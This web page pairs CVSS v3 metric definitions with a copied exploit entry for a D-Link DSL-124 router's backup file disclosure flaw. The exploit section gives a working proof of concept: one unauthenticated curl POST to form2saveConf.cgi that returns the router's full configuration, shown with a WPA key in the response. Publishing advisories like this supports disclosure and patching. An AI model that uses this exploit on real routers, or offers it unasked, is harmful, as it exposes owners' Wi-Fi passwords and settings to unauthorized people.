The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
None
I
There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: DSL-124 Wireless N300 ADSL2+ - Backup File Disclosure
# Exploit Title: DSL-124 Wireless N300 ADSL2+ - Backup File Disclosure
# Date: 2022-11-10
# Exploit Author: Aryan Chehreghani
# Vendor Homepage: https://www.dlink.com
# Software Link: https://dlinkmea.com/index.php/product/details?det=dU1iNFc4cWRsdUpjWEpETFlSeFlZdz09
# Firmware Version: ME_1.00
# Tested on: Windows 11
# [ Details - DSL-124 ]:
#The DSL-124 Wireless N300 ADSL2+ Modem Router is a versatile, high-performance router for a home or small office,
#With integrated ADSL2/2+, supporting download speeds up to 24 Mbps, firewall protection,
#Quality of Service (QoS),802.11n wireless LAN, and four Ethernet switch ports,
#the Wireless N300 ADSL2+ Modem Router provides all the functions that a user needs to establish a secure and high-speed link to the Internet.
# [ Description ]:
#After the administrator enters and a new session is created, the attacker sends a request using the post method in her system,
#and in response to sending this request, she receives a complete backup of the router settings,
#In fact this happens because of the lack of management of users and sessions in the network.
# [ POC ]:
Request :
curl -d "submit.htm?saveconf.htm=Back+Settings" -X POST http://192.168.1.1/form2saveConf.cgi
Response :
HTTP/1.1 200 OK
Connection: close
Server: Virtual Web 0.9
Content-Type: application/octet-stream;
Content-Disposition: attachment;filename="config.img"
Pragma: no-cache
Cache-Control: no-cache
<Config_Information_File_8671>
<V N="WLAN_WPA_PSK" V="pass@12345"/>
<V N="WLAN_WPA_PSK_FORMAT" V="0x0"/>
<V N="WLAN_WPA_REKEY_TIME" V=""/>
<V N="WLAN_ENABLE_1X" V="0x0"/>
<V N="WLAN_ENABLE_MAC_AUTH" V="0x0"/>
<V N="WLAN_RS_IP" V="0.0.0.0"/>
.
.
.
</Config_Information_File_8671>
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